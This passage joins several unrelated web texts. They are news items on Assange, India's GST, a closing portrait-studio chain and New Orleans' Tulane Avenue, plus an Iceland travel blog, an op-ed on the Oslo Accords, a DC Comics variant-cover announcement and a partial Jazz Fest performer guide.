assistance. "Mr. Assange, like every Australian citizen, has rights, and nothing is stopping him from coming home to Australia," McClelland said, according to his spokesman. But McClelland also cautioned that Australian authorities would be obligated to co-operate with the international investigations into Assange. -GST ensures, the number of inter-state check posts between Delhi, Mumbai where transport vehicles have to stop will come down to just one. Mumbai: Union Minister for Road Transport and Highways and Shipping Nitin Gadkari on Saturday said that implementation of Goods and Services Tax will increase Maharashtra's revenue by 20-25 per cent. "GST, which came into force on Saturday, will increase Maharashtra's revenue by 20-25 percent," Gadkari said, speaking at an event organised by the Institute of Chartered Accountants (ICAI) in Mumbai. It would provide relief to the state which recently declared a farm loan waiver of Rs 34,000 crore, he said. With the roll-out of new tax regime, the number of inter-state check posts between Delhi and Mumbai where transport vehicles have to stop will come down to just one, he said, adding that it would reduce prices. GST has ushered in economic freedom, Gadkari said, adding that logistics sector will be one of its biggest beneficiaries. -Tourism in Iceland has surged in popularity over the last few years amongst all types of travelers. Lately, it seems like everyone and their grandmas are visiting Iceland! We’re not just saying that because Dan’s grandma visited in September. Although that is a true story. Actually, visiting Iceland has been on our bucket list for years, ever since we stumbled upon photographs of their dramatic landscapes. In June, we spent 1 1/2 weeks in Iceland, starting with their capital city, Reykjavik. From there, we circumnavigated the country via the Ring Road and wrote all about our experiences, which you can read here. The scenery in Iceland was beyond beautiful that we had at least a thousand photos to sort through once we got home. We definitely recommend nature lovers and photographers to make their own visit! Flight to Iceland We began our adventures with a 5 hour direct flight from Boston with Icelandair. They handed out Icelandic bottled water in the shape of glaciers, which we thought was a really clever design. In addition, Icelandair supplied their passengers with cozy blankets and pillows for a comfortable flight. As the plane landed at 11:30 PM, we were welcomed by the midnight sun. Renting a Car After going through customs, we picked up our compact 2WD car, the Toyota Aygo, from Blue Car Rentals. The Blue Car Rentals office was a short distance from the airport, so we were able to conveniently roll our luggage over. They had excellent customer service and spoke perfect english, so we recommend them! Things to See in Reykjavik, Iceland Hallgrímskirkja Church The next morning, we went sightseeing in Iceland’s capital city, Reykjavik. Hallgrímskirkja church is both Reykjavik’s tallest and most unique building. The architecture was inspired by basalt columns that form when thick lava flow cools. You can actually see the basalt columns in-person at Black Sand Beach on the South Coast of Iceland! Once we were at the church, we paid a small fee to take the elevator up to the very top for a panoramic view of their city. The ordinary red-roofed buildings in Iceland reminded me of monopoly pieces! Sólfar (Sun Voyager Sculpture) By the coast sits a stainless steel sculpture from 1990 called Sólfar, which translates to The Sun Voyager. It resembles a viking ship, however it’s intentions were to be an ode to the sun. Harpa Concert Hall Harpa concert hall was impressive and more modern than its Reykjavik counterparts. The geometric glass design stood out from the simple, colorful houses of Reykjavik. We loved the natural sunlight that filled the building. With plenty of seating, we were able to rest after a long walk through the city. Bæjarins Beztu Pylsur (Hot dog stand) After a full day of sightseeing and souvenir shopping, we stopped by Bæjarins Beztu Pylsur in downtown Reykjavik to try one of Iceland’s famous hot dogs. Dan ordered the chili dog (shown on the left) which we immediately regretted! You can hardly see the sausage beneath the mountain of toppings! He had trouble eating, even after we pulled out a fork and knife. Also, he’s lactose-intolerant, so you can sense his misery after seeing that it came with cheese. Although, I will admit that my simple dog, shown on the right, was good and lived up to its name. Street Art in Reykjavik As we walked around the city, we noticed a ton of street art and graffiti. I love the colors and style of this one! Reykjavik’s Neighborhood Cats Once we arrived at our airbnb in Reykjavik, the friendliest neighborhood cat actually jumped into our rental car! I couldn’t resist giving the big kitty a hug! I’m seriously in love with the cats in Reykjavik. (We met more kitties while walking around the neighborhood). They all seem to be larger, fluffier, and friendlier than the ones at home. Later, we found an Instagram account dedicated to Reykjavik cats! Shoutout to @reykjavikcats! Would you visit Reykjavik, Iceland? Our real adventures in Iceland began once we left Reykjavik. Aren’t you the least bit curious to see what we did? Read more to see all the places we explored in Iceland! ** Pin this post for later! ** -After the sun sets over Tulane Avenue, shadows emerge under corner streetlights between North Claiborne and South Carrollton avenues. Women in high heels and short skirts flag down passing cars, selling themselves for as little as $50. This is what the avenue has become over the past few decades, a notorious destination for prostitution and drug activity. It wasn't always this way. In the 1940s and 1950s, this was a bustling thoroughfare popular with tourists who stayed at fashionable hotels that dotted the strip. Construction of the interstate highway in the 1960s and later of high-rise hotels downtown took travelers away. Many Tulane Avenue businesses closed and some hotels deteriorated into seedy flophouses. But city officials hope Tulane Avenue is on the cusp of a renaissance, led by construction of a $2 billion medical complex expected to create 17,000 well-paying jobs. Some entrepreneurs have started to open businesses along the Mid-City corridor. But some find their livelihoods threatened by the crime that prevail on the avenue. They're caught between Tulane Avenue's seedy present and its promising future, uncertain whether their businesses will survive long enough to see it. Reporter Richard Webster and photographer Ted Jackson share the stories of those business owners, examine the Tulane Avenue real estate market, and describe a night spent in one of the strip's low-rate motel in "Uneasy Street." Read their full package of stories and photos Saturday afternoon on NOLA.com and Sunday in The Times-Picayune. Tulane Avenue: Views of 14 Gallery: Tulane Avenue: Views of Share your memories of Tulane Avenue and your thoughts on whether the new medical district will be the key to turn the area around. -A surprisingly candid op-ed from a high-level Israeli official explains the role the Oslo Accords played in allowing Israel to maintain the occupation. Dov Weisglass, former Prime Minister Ariel Sharon’s righthand man, recently had another very candid moment. After Before the disengagement from Gaza, Weisglass gave a famous interview to Haaretz in which he was honest about the rationale behind the move: the desire to fill the diplomatic vacuum and secure Israeli control of the West Bank forever. Last week he went back to Oslo. Weisglass published an interesting op-ed in Ynet in which he explained the value of the 1993 Accords from a right-wing perspective. The agreement, he wrote, allowed Israel to maintain control over the West Bank without bearing responsibility for the Palestinians living there. Responding to attacks on Shimon Peres by several of Prime Minister Netanyahu’s aides, Weisglass writes: Today, as a result of the Oslo Accords, the PA, not Israel, is responsible for the daily life of some 3.5 million Palestinians in the West Bank and Gaza. Remember, aides: Before “Oslo” Israel was responsible for the daily life of the Palestinians, in accordance with international law. Israel built the infrastructure, supplied electricity and water, and sustained health services, education, transportation, public order, policing and the courts. Israel also paid the salaries of thousands of Palestinian civil administration employees. Where would we be today if the Netanyahu government, which is having difficulties securing the social wellbeing of most of Israel’s citizens, would also have to care for millions of Palestinians as well? It would have been a disaster. A Palestinian once told me that the Oslo deal was “a brilliant Israeli arrangement.” How so? I asked him. “It created the only prison in the world where the prisoners have to provide for themselves, without the management’s participation.” Israel has the authority of the sovereign in the territories – without the obligations. This situation is a direct result of the Oslo Accords. It should be noted that the Palestinians provide themselves with American and European money, and they also guard themselves. Yet more important than all the above is the role the Palestinian Authority is playing by providing the necessary “adversary” Israel deals with on a public and diplomatic level. Weisglass rightly points out the fact that Prime Minister Netanyahu could have annulled Oslo on his first term in office, while the Palestinian Authority was still “searching for its way.” Yet he chose not to. What Netanyahu instinctively understood was that Oslo serves the agenda of the right – it creates the illusion of an independent Palestinian regime while maintaining the occupation. In the last few years, there has been another important development in the way Israel uses Oslo to serve its needs. Under Oslo, the West Bank was temporarily divided into three areas (titled A, B and C). Area C, consisting of 60 percent of the West Bank, is kept under Israel’s full administrative and military control. Naturally, the fate of Area C wasn’t decided in the agreement itself. Yet today, Israeli authorities treat Area C as if it has been annexed to Israel: they prevent Palestinian construction in those areas, expand existing settlements, use natural resources in those areas, and in some cases, even try to push the Palestinian population to areas A and B. A good example of this practice is taking place in the Susya region, in the South Hebron Hills; you can read more about it here. And here is an excellent infographic on the division of land under the Oslo agreement. In short, by turning what was supposed to be an intermediate agreement (Oslo was set to expire in 1999) into a permanent situation, Israel was able to secure at least another two decades of Jewish colonization in the West Bank – a period which might have been just long enough to prevent for good the creation of a Palestinian state. I don’t share the view – now common in some leftist circles – that Oslo was intentionally designed to lead to the current state of apartheid, but looking back, one cannot imagine reaching the impasse we are now in without the diplomatic coverage and the legal infrastructure Israel established with the Oslo process. -DC Comics has a new variant theme coming to stores in January that will have readers keeping inside the lines: Coloring Books. DC gave us the exclusive reveal at 5 of the planned variants for next year: ACTION COMICS #48, RED HOOD/ARSENAL #8, TITANS HUNT #4, FLASH #48, and SINESTRO #19. ACTION COMICS #48 by Scott Kollins RED HOOD/ARSENAL #8 by Scott McDaniel TITANS HUNT #4 by Scott McDaniel FLASH #48 by Derec Donovan SINESTRO #19 by Derec Donovan Crave had the reveal on Batman #48 by Dave Johnson, Green Arrow #48 by Cully Hamner, JLA #8 by Cully Hamner, Lois and Clark #4 by Aaron Lopresti, and Teen Titans #16 by Timothy Green. CBR revealed Deathstroke #14 by Emanuella Luppicino, Green Lantern#48 by Michael Allred, Justice League #48 by Scott Kollins, Superman #48 by Andy Smith, and We Are Robin #8 by Freddie Williams. ComicBook.com revealed Cyborg #7 by Derec Donovan, Martian Manhunter #8 by Andy Kuhn, Robin Son of Batman #8 by Sanford Greene, Starfire #8 by Dave Taylor, and Superman/ Wonder Woman #25 by Aaron Lopresti. Newsarama revealed Aquaman #48 by Andy Kuhn, Batman/Superman #28 by Freddie Williams, Detective Comics #48 by Timothy Green, Grayson #16 by Aaron Lopresti, and Wonder Woman #48 by Emanuella Luppicino. Look for all of these variants in January. -End of an era for awkward and embarrassing family photos as company behind portrait studios at Sears and Wal-Mart goes out of business Portrait studios at Sears and Wal-Mart stores - the scenes of many family photos - have unexpectedly closed after operator CPI Corp. announced that it had gone out of business. More than 2,000 outlets have shut, leaving some laid-off workers scrambling - without pay - to make good on existing customers' orders. St. Louis-based CPI Corp., called Thursday's announcement 'sad' in a two-paragraph statement on its website and insisted that it was trying to fulfill as many orders as possible. Customers with questions were urged to contact their local store. Have you got any family photos taken at a portrait studio at Sears or Wal-Mart that you'd like to share? Email your pictures to mailonlinepictures@dailymail.co.uk Portrait studios at Sears and Wal-Mart have unexpectedly closed after their operator CPI Corp. went out of business Happy Easter: This family celebrated the holidays one year with this photo of them all in Sears-branded shirts CPI's website as of Friday was purged of everything but the statement. It was not immediately clear how many employees were affected. As the popularity of digital photography cut into its sales, CPI revealed last month in a Securities and Exchange Commission filing it had received a fourth forbearance agreement from its lenders and that it had until Saturday to meet its loan obligations. CPI said in mid-March that it owed $98.5 million, including unpaid principal of $76.1 million. CPI had warned in earlier SEC filings that failing to buy more time from lenders could force it to liquidate, and the company last year hired an investment bank to explore a possible sell-off. Last month, CPI's chief marketing officer and executive vice president resigned after a 7-year tenure. Sears Holding Corp. said in an emailed statement Friday that it was working with CPI 'to ensure that it fulfills its outstanding orders and provides ordered pictures to our members and customers.' CPI managed and operated Sears Portrait Studios as a licensed business, Sears said. This photo of two sisters was taken in the early 90s at a Sears Portrait Studio The popularity of digital photography has been blamed for the portrait studios going out of business 'We are currently exploring all options to potentially provide these services to our members and customers as soon as possible,' Sears said, expressing regret about any inconvenience. But some suddenly displaced CPI employees, believing the company could wrongly foist the responsibility of filling outstanding customers' orders onto Wal-Mart and Sears, were hustling Friday trying to make good with the clients while absorbing the shock of losing their jobs and related benefits, including insurance coverage. 'There's almost no word to describe this. It's devastating,' said Jennifer McDowell, a three-year CPI employee who until Thursday managed a four-employee studio in a Wal-Mart in St. Charles, a St. Louis suburb. More than 2,000 portrait outlets have shut, leaving some laid-off workers scrambling - without pay - to make good on existing customers' orders 'We gave so much for this company and worked so hard.' McDowell, 34, hastily burned as many undelivered portrait packages as she could onto compact discs on Thursday. By Friday, she tried to spread the word to those customers that she'd be at a nearby pet store's parking lot Saturday with those CDs. 'There's a chance (CPI) was not going to make good on their promises to customers, and if they don't they make us look like liars,' McDowell, of Alton, Ill., said. -How do you choose from the variety of cultures, rhythms and sounds available at Jazz Fest? Our guide should help. Happy Jazz Fest! Remember that performance information is subject to change. Stage Codes ACU = Acura Stage AM = Allison Miner Music Heritage Stage BLU = Blues Tent CON = Congo Square Stage CUB = Cuba Pavillion ECO = Peoples Health Economy Hall Tent FDD = Sheraton New Orleans Fais Do-Do Stage GEN = Gentilly Stage GOS = Gospel Tent J&H = Jazz & Heritage Stage JAZ = Zatarain’s/WWOZ Jazz Tent KID = Kids Tent LAG = Lagniappe Stage NAT = Native American Pow Wow PAR = Parades # 101 Runners, 5/4, J&H, 5:50p: Carrying on the proud tradition of fusing Mardi Gras Indian chants with funk, this group includes Chris Jones with War Chief Juan Pardo of the Wild Comanches and a star cast of players. 21st Century Brass Band, 5/5, PAR, 4:15p: This young, Treme-based group finds room in its repertoire for New Orleans jazz standards as well as modern R&B hits. 610 Stompers, 5/6, KID, 5:15p: The good nature, mustaches, red satin jackets and blue short-shorts of the men parading in the 610 Stompers represent the finest in the city’s new-school Carnival swagger, a treat hailed from Mardi Gras parades in New Orleans to the Macy’s Thanksgiving parade in New York City. 79rs Gang, 5/5, J&H, 2:20p: Big Chief Jermaine and Big Chief Romeo from the 7th and 9th Wards come together to form the 79rs Gang. Jermaine’s baritone voice combines with Romeo’s alto voice as they since about the Mardi Gras Indians’ unique culture. They released their first CD, Fire on the Bayou, in 2015. 7th Ward Creole Hunters, 5/4, PAR, 4:10p: Big Chief Jermaine Bossier leads this 7th Ward-based Mardi Gras Indian gang. A Aaron Neville, 4/28, BLU, 5:45p: The golden-voiced Neville brother, whose classic “Tell It Like It Is” was inducted into the Grammy Hall of Fame collection for 2015, brings originals from his latest effort, Apache (Best R&B/Funk Album winner at the 2016 Best of the Beat Awards), mixed in with some hits from his prolific career. Adella Adella the Storyteller and Amber Zu the Conductor, 5/5, KID, 12:40p: This kids’ performer aims to bring animals to life, make history real, turn ancestors into wise friends and open the imaginations and hearts of her listeners. Adonis y Osain del Monte of Cuba, 5/5, CON, 2:05p, CUB, 4:30p; 5/6, CUB, 1:45p, 3:10p; 5/7, BLU, 2:20p, CUB, 4:30p: Havana, Cuba’s Adonis y Osain del Monte offers a modern interpretation of traditional Afro-Cuban folklore, blending it with timba, Havana’s Conga parade rhythms, and beats from Cuba’s contemporary popular music. This is their first U.S. appearance. Alabama Shakes, 4/29, GEN, 5:15p: Brittany Howard’s raw, soul-rattling vocal power has become the star of this top-notch southern blues-rock outfit, but her bandmates Zac Cockrell, Steve Johnson and Heath Fogg deliver plenty of fire too. They came out of 2016 with three Grammy awards, including Best Alternative Music Album for Sound & Color. Alex McMurray, 4/28, GEN, 11:20a: This songwriter’s sharp eye, gravelly voice and wicked sense of humor have been well displayed in the Tin Men, Royal Fingerbowl and his current solo career. His song “You’ve Got to Be Crazy to Live In This Town” was a fitting choice to close the third season of HBO’s Treme. Alexey Marti, 4/28, J&H, 4:15p: After relocating to New Orleans, Cuban-born conga player and percussionist Marti has become a key fixture on the local Latin scene, performing a mix of jazz, funk, salsa, son, rumba and more. Algiers Warriors, 5/5, PAR, 2:10p: The West Bank-based Big Chief of the Algiers Warriors came out in sky blue with orange patchwork at this year’s Super Sunday. Alia Shawkat and James Williams with the New Orleans Swamp Donkeys Traditional Jass Band, 5/5, ECO, 4:25p: Alia Shawkat is best known for starring roles in TV shows like Arrested Development and Search Party, but she’s also an impressive jazz singer. Her collaborative EP with trad jazz outfit the New Orleans Swamp Donkeys finds her and James Williams knocking out a series of Ella & Louis-style duets. See feature in this issue. Alvin Youngblood Hart’s Muscle Theory, 5/5, BLU, 12:10p: This Grammy-winning singer, guitarist and mandolin player was inspired in his youth by the sound of Mississippi country blues, which he makes his own by adding elements of roots rock and a deep knowledge of folk and Americana. Amanda Shaw & the Cute Guys, 5/6, GEN, 11:20a: This Cajun fiddle prodigy has been in the spotlight since age 10. Her sets can jump from teen-friendly pop to straight-up Cajun, with a classic rock cover or two thrown in. Amos Lee, 4/29, GEN, 3:25p: Amos Lee has opened for Bob Dylan, Paul Simon, Norah Jones, Van Morrison, John Prine, Adele and many more. Those endorsements should be enough to draw fans of the old school singer songwriter style to his blend of soul and folk. Anders Osborne, 5/5, GEN, 3:35p: New Orleans’ Swedish-rooted guitar hero and songwriting titan has won Best Guitarist three years in a row and Best Songwriter twice at OffBeat’s Best of the Beat Awards. Tim McGraw had a number one hit with the Osborne song “Watch the Wind Blow By.” Other artists that have covered Osborne’s compositions include Brad Paisley, Tab Benoit, Jonny Lang and Kim Carnes. Andre’ Simmons-Franklin, 4/28, GOS, 5:10p: Although gospel artist Andre Simmons Franklin’s first love is old school gospel, he has created something unique by incorporating urban R&B grooves into the mix. His single “I’m Expecting” is highly regarded by Kirk Franklin, John P. Kee, Diane Barrino and others. Andrew Duhon, 4/28, LAG, 3:05p: With his achingly tender voice and penchant for lyrical depth, folk-pop singer songwriter Duhon taps into personal experience to tug at listeners’ heart strings while strumming his way through original music that echoes the blues. Andrew Hall’s Society Brass Band, 5/6, ECO, 1:35p: Hall is a skilled traditional jazz and R&B pianist who has performed with the Preservation Hall Jazz Band, Dr. John, and the Olympia Brass Band. Anya Hollingsworth and ARTS, 5/7, KID, 11:30a: Violinist Anya Hollingsworth is an eighth grade honor student at Wilson Middle School. She believes music tells personal and historic stories that connect humanity. ARTS consist of three singers and songwriters Kir’ Ondria Woods, Jamilla Johnson, and Harper Jones. They are accompanied by pianist Carolyn Donnell and drummer Larry Donnell II. Apache Hunters, 5/7, PAR, 1:45p: Big Chief Preston Whitfield leads this Uptown-based Mardi Gras Indian tribe, headquartered at Third and LaSalle Streets. Archdiocese of New Orleans Gospel Choir, 5/6, GOS, 1:55p: The Archdiocese represents the largest religious demographic in New Orleans. Its choir represents a tradition of Crescent City Catholicism dating back to 1793. Arthur and Friends Community Choir, 5/6, GOS, 12:05p: This New Roads, Louisiana-based gospel choir, founded by Arthur Gremillion, focuses on fostering a spirit of togetherness through music. Ashé Cultural Arts Center Kuumba Institute, 4/29, KID, 11:30a: This Central City community group brings storytelling, poetry, music, dance, photography and visual art to schools and neighborhoods throughout New Orleans. AsheSon, 5/7, J&H, 4:25p: Local guitarist Javier Olondo leads this ensemble primarily through the songs of his native Cuba while drawing on the traditions of other Latin American countries, including Guatemala and Puerto Rico. Astral Project, 4/28, JAZ, 6p: The members of this modern jazz quartet—saxophonist Tony Dagradi, guitarist Steve Masakowski, bassist James Singleton and drummer Johnny Vidacovich—have active musical lives outside of the group, but as Astral Project they evince a rare chemistry that results from playing together for nearly four decades. Audrey Ferguson and The Voices of Distinction, 4/30, GOS, 11:10p: The “traditional foot-stomping, hands-clapping gospel” of this Baton Rouge-based quartet has been a Jazz Fest regular since before the storm. B Baby Boyz Brass Band, 5/7, PAR, 3p: One of the younger brass groups on the second line and festival circuit, Baby Boyz is led by trumpeter Glenn Hall III, kin to the musical Andrews family. Bamboula 2000, 5/4, J&H, 11:20a: “Bamboula” was originally a form of drum and dance ceremony held in Congo Square. Bamboula 2000 leader Luther Gray brings that spirit into the present with a troupe of players and dancers. Batiste Fathers & Sons, 4/28, ACU, 11:25a: The Batistes of New Orleans have had music in their blood for many generations. The family band includes David on the keyboard, Jamal, Ryan and Russell on drums and percussion, with Damon on vocals. Batture Boys, The 5/6, LAG, 3:40p: Helmed by the lead guitarists for the Subdudes (Malone) and Continental Drifters (Ganucheau), this new Americana-focused act released its debut EP, Muddy Water, in April 2016. BeauSoleil avec Michael Doucet, 5/6, FDD, 2:45p: Fiddler Doucet’s venerable Cajun band was the first of its genre to win a Grammy in 1998. Their sound draws on eclectic influences ranging far beyond Acadiana, from bluegrass to West African music and more. Beloit Memorial Jazz Orchestra, 4/29, JAZ, 11:10a: Under the leadership of Mr. Chris Behrens, the Beloit Memorial High School from Beloit, Wisconsin introduces young people to the jazz traditions of such big bands as Duke Ellington, Count Basie and Thad Jones. This is their first appearance at Jazz Fest. The Bester Gospel Singers and The Dynamic Smooth Family Gospel Singers of Slidell, 5/5, GOS, 1p: A cappella gospel harmonies are the specialty of The Bester Singers, a Slidell, Louisiana-based group. Evangelist Rosa Lee Smooth founded the Dynamic Smooth Family group three decades ago, and her daughter Cynthia Smooth Plummer now leads the group. Betty Winn & One A-Chord, 4/28, GOS, 1:55p: Formed in 1995 by Betty Winn and her husband Thomas, this sprawling choir traces the history of gospel from slave spirituals to new compositions. They perform with as many as 40 singers. Big Chief Bird and the Young Hunters Mardi Gras Indians, 5/4, J&H, 12:40p: Coming out of the Carrollton neighborhood each year since 1995, this tribe is led by Big Chief “Bird.” Big Chief Bo Dollis Jr. & the Wild Magnolias, 5/6, J&H, 5:45p: Big Chief Bo Dollis, Jr. carries on the legacy of his father, leading the Wild Magnolias’ impassioned, funk-inspired Mardi Gras Indian music. Big Chief Donald Harrison, Jr., 5/4, CON, 2p: Saxophonist Harrison is a New Orleans Renaissance man who has explored reggae, funk and Mardi Gras Indian music through the filter of jazz. His last CD, This is Jazz, is a trio set with Billy Cobham and Ron Carter. Big Chief Juan & Jockimo’s Groove, 5/7, J&H, 11:20a: Skillful Golden Comanche Chief Juan Pardo, who grew up with the sounds of elder statesmen Indians like Monk Boudreaux and Bo Dollis, updates classic and original Mardi Gras Indian songs with a mix of funk and R&B. Big Chief Kevin Goodman & the Flaming Arrows Mardi Gras Indians, 4/30, J&H, 11:20a: Singer and Big Chief Kevin Goodman, who’s called Austin home since evacuating during Hurricane Katrina, leads this tribe and stage band. Big Chief Monk Boudreaux & the Golden Eagles Mardi Gras Indians, 4/30, J&H, 5:55p: Boudreaux, who performed for many years alongside Big Chief Bo Dollis in the Wild Magnolias, is one of the most prominent Indian performers and a soulful vocalist. The Golden Eagles’ reggae-heavy performances often get into heady, near-psychedelic territory. Big Chief Trouble and the Trouble Nation, 5/6, PAR, 1:30p: This tribe’s Big Chief Markeith Tero also rolls with the Revolution SA&PC. Big Freedia, 5/6, CON, 1:55p: The self-professed Queen Diva put bounce music on the map nationally with her quick-fire rhymes, sweat-inducing rhythms and booty-shaking grooves. Big Nine SA&PC, 4/28, PAR, 4p: Listen for cries of “way downtown” on the parade from this social aid and pleasure club. Big Sam’s Funky Nation, 5/6, ACU, 12:15p: The charisma of former Dirty Dozen trombonist Sam Williams makes him an able focal point for a musical party that blends brass, Meters-style funk, hip-hop and rock. The band has toured hard and earned a following in the jam band world. Big Steppers SA&PC, 4/30, PAR, 2:30p: Steppers hold one of the season’s most popular Sunday parades. Bill Summers & Jazalsa, 5/7, J&H, 1:50p: Known for his membership in Los Hombres Calientes and Herbie Hancock’s Headhunters, legendary percussionist Summers explores Latin and world music with his Jazalsa band. Black Feathers Mardi Gras Indians, 4/30, PAR, 12:10p: This 7th Ward-based tribe has been masking Indian for more than 20 years. Black Lodge Singers, 4/28, NAT, 12:05p, 1:15p, 4p; 4/29, NAT, 12p, 1:15p, 4:05p; 4/30, NAT, 12p, 1:15p, 3:50p: Black Lodge Singers are a northern style drum group on the pow-wow circuit. The group includes Kenny Scabby Robe (Blackfeet), his wife Louise (Yakama), and his 12 sons. Kenny is noted on the circuit as one of the leading pow-wow song makers. They have received several Grammy nominations. Black Mohawk and Blackfoot Hunters, 4/28, PAR, 1:20p: Big Chief Byron Thomas and Big Chief Donald lead this twofer Mardi Gras Indian parade. Black Seminoles Mardi Gras Indians, 4/28, PAR, 2:45p: This popular tribe was led by the Cyril “Big Chief Ironhorse” Green until his unexpected passing in 2013. Blodie’s Jazz Jam, 4/29, JAZ, 12:15p: Blodie is better known as Dirty Dozen trumpeter Gregory Davis, whose jamming partners include other members of Dirty Dozen, Trombone Shorty’s Orleans Avenue and other horn men who will be on the Fair Grounds that day. Blue Lu Barker Remembered featuring Meschiya Lake and Quiana Lynell, 4/28, ECO, 5:30p: Singers Meschiya Lake and Quiana Lynell remember Danny Barker’s wife, the jazz and blues singer Blue Lu Barker, who passed away in 1998 at age 84. Expect the program to include “Don’t You Feel My Leg?,” “Look What Baby’s Got For You” and “A Little Bird Told Me,” which peaked at number four on the Billboard chart in 1948. Blues Traveler, 5/7, BLU, 5:35p: This New Jersey group briefly entered the mainstream with their harmonica-laden 1994 hit “Run-Around,” but they’ve been a beloved staple of the jam band scene for a very long time. Expect plenty of improvisational rock and creative song segues during their set. Bobby Lounge, 5/7, LAG, 5:20p: A one-of-a-kind mix of barrelhouse piano, Tom Waitsian poetics, Southern-gothic storytelling and just plain out-there-ness. Bonerama, 5/5, ACU, 12:30p: What began as a novelty—a multi-trombone band playing jazz, funk and classic rock—has turned into a local and national favorite. Their renditions of rock classics like Led Zeppelin’s “The Ocean” and the Grateful Dead-associated “Turn On Your Love Light” are full-tilt affairs. Boney James, 5/5, JAZ, 5:40p: Saxophonist and songwriter Boney James has sold over 3 million albums, making him one of the most commercially successful artists in contemporary jazz. Boyfriend, 4/30, GEN, 12:45p: Part rapper and part performance artist, Boyfriend’s “rap cabaret” shows are entertaining and intellectually-engaging experiences that make destroying gender norms fun for everyone. See feature in this issue. Brother Tyrone & the Mindbenders, 4/29, BLU, 11:10p: Tyrone Pollard, a.k.a. Brother Tyrone, is a deep-soul vocalist whose original songs could pass for long-lost vinyl tracks. Bruce Daigrepont Cajun Band, 4/30, FDD, 1:35p: A New Orleans-reared Cajun, this self-taught accordion player has hosted the Sunday Cajun session at Tipitina’s for decades and the Maple Leaf before that. The Bucktown Allstars 25th Anniversary, 4/30, LAG, 5:20p: This nine-piece R&B band from Metairie is a consistent Best Cover Band winner at OffBeat’s Best of the Beat Awards. Buddy Guy, 5/7, GEN, 3:30p: This Louisiana-born, Chicago-bred luminary of the blues and rock worlds continues to tour, record and inspire new generations of musicians with his blazing guitar style. He recently teamed up with Junior Wells for the two-disc Buddy Guy and Junior Wells Play the Blues. Buffalo Hunters Mardi Gras Indians, 5/7, PAR, 4:15p: The Buffalo Hunters tribe is led by Big Chief Spoon. C C.J. Chenier & the Red Hot Louisiana Band, 5/4, FDD, 6p: Zydeco king Clifton Chenier’s son has long emerged as a bandleader in his own right. His latest album, Can’t Sit Down has a killer version of Tom Waits’ “Clap Hands.” The Caesar Brothers Funkbox, 4/29, J&H, 4:20p: Solid, Uptown funk from keyboardist and drummer Norman and Rickey Caesar, whose musical family members include an assortment of Nevilles. Capoeira New Orleans, 5/7, KID, 4:10p: Participants and students from this local Afro-Brazilian arts program show off their moves. Carsie Blanton, 5/4, LAG, 4:20p: Singer songwriter Carsie Blanton has taken her talents for writing, voice, guitar and piano from the streets of her adopted hometown of New Orleans to acclaim with her seven albums and relentless touring (including a slot opening for Paul Simon in 2014). CC Adcock + The Lafayette Marquis, 4/30, ACU, 12:25p: A bona fide South Louisiana icon, the multi-talented, free-wheeling CC Adcock has earned Grammy nods as a composer for film and is considered one of the finest present-day players of the swamp-rock sound, melding the electric blues, zydeco and Cajun styles. Cedric Burnside Project, 5/4, BLU, 1:30p: Undeniably influenced by his grandfather R.L.’s sound, Burnside brings a powerful, fierce energy to the stage. Switching back and forth between acoustic guitar and drums, the project provides blues in its most essential form, as well as intense upbeat dance tunes. Cedric Watson & Bijou Creole, 5/5, FDD, 11:10a: A popular young fiddler, accordionist and singer, this four-time Grammy nominee boasts equal parts star power and skill; his influences range from Creole and Cajun to West African music and beyond. Cha Wa, 5/4, ACU, 11:20a: Mardi Gras Indian singer Eric “Yettii” Boudreaux (Monk Boudreaux’s brother) formed this band to fuse Indian chants with blues. They’re joined by singer, guitarist and producer Papa Mali, an alum of the 7 Walkers with Bill Kreutzmann and George Porter, Jr. Changüí Guantánamo of Cuba, 5/4, CUB, 1:30p, 3:10p; 5/5, CUB, 1:35p, J&H, 4:45p; 5/6, CUB, 11:20a, KID, 1:15p; 5/7, CUB, 11:30a, 12:40p: Changüí is the precursor to son, and eventually salsa, and is one of the oldest rhythms in Cuba. It originated in the eastern region of Guantánamo Province. Founded in 1945 by tres player Chito Latamblet, Changüí Guantánamo maintains the original Changüí music style and instrumentation. Although they have toured extensively Changüí Guantánamo’s last appearance in the U.S. dates back to 1989. Charlie Gabriel & Friends, 5/4, ECO, 2:55: Preservation Hall Jazz Band’s clarinetist and vocalist Charlie Gabriel makes his Jazz Fest debut under his own name. The band includes Kyle Roussel on piano, Ben Jaffe on bass, Shannon Powell on drums, Kevin Lewis on trumpet and Craig Klein on trombone. Though the band will focus on traditional New Orleans music, Gabriel often credits the vitality of jazz with its unique ability to reflect the modern experiences of those who interpret it along with the history in which it’s rooted. See feature in this issue. Charmaine Neville Band, 4/29, BLU, 12:05p: An exuberant jazz singer whose influences run the gamut of New Orleans music styles, Neville has long been a staple of the city’s scene, particularly at Snug Harbor. Cheyenne Mardi Gras Indians, 5/4, PAR, 4:10p: This Mardi Gras Indian tribe takes its name after one of the most famous tribes of the Great Plains. Chilluns & Dads with Cranston and Annie Clements, Dave and Darcy and Johnny Malone, and Spencer and Andre Bohren, 5/4, GEN, 12:45p: The “Chilluns” showcase is being picked up from Tipitina’s which presented the program last December. This two-generation show will feature the Malones (siblings Johnny and Darcy of Darcy Malone and the Tangle and father Dave Malone of the Radiators), the Clements (daughter Annie Clements of Sugarland and father Cranston), and the Bohrens (father Spencer and son Andre). Chocolate Milk, 4/30, GEN, 1:50p: Inspired by the music of Kool & the Gang, saxophonist Amadee Castenell formed this funk, soul and disco outfit in the late ‘70s in New Orleans. They went on to replace the Meters as Allen Toussaint’s house band before breaking up in 1983. Their occasional reunion shows are a treat for old school soul-loving Fest-goers. The Chosen Ones Brass Band, 4/28, PAR, 4p: Just now reaching their 20s, the rock-steady members of the nine-piece Chosen Ones bring a hip hop-infused, high-energy style to traditional New Orleans back beats and horn sections. Chris Clifton & His Allstars, 5/4, ECO, 11:20a: Trumpeter Clifton met and had an association with Louis Armstrong, playing with the great trumpeter’s second wife Lil Hardin. He still honors the traditional sounds of Satchmo. Chris Owens, 4/30, ECO, 5:35p: An old-school burlesque queen and beloved local character, Owens runs the closest thing to a PG-rated club on Bourbon Street. Her Jazz Fest shows tend to include the liveliest version of “YMCA” you’ll ever hear. Chubby Carrier & the Bayou Swamp Band, 4/28, FDD, 1:35p: This third-generation bandleader won the last Best Zydeco or Cajun Album Grammy for his Zydeco Junkie in 2010. Carrier teamed up with Chris Ardoin in 2015 for Zydeco Stuff. Chucho Valdés Quintet, 5/7, JAZ, 5:45p: Over the past 50 years, the pianist has affirmed himself as one of the prime figures in the Cuban jazz world. Founding member of staple band Irakere with Paquito D’Rivera, the multi-Grammy winner brings his quintet to spice up this 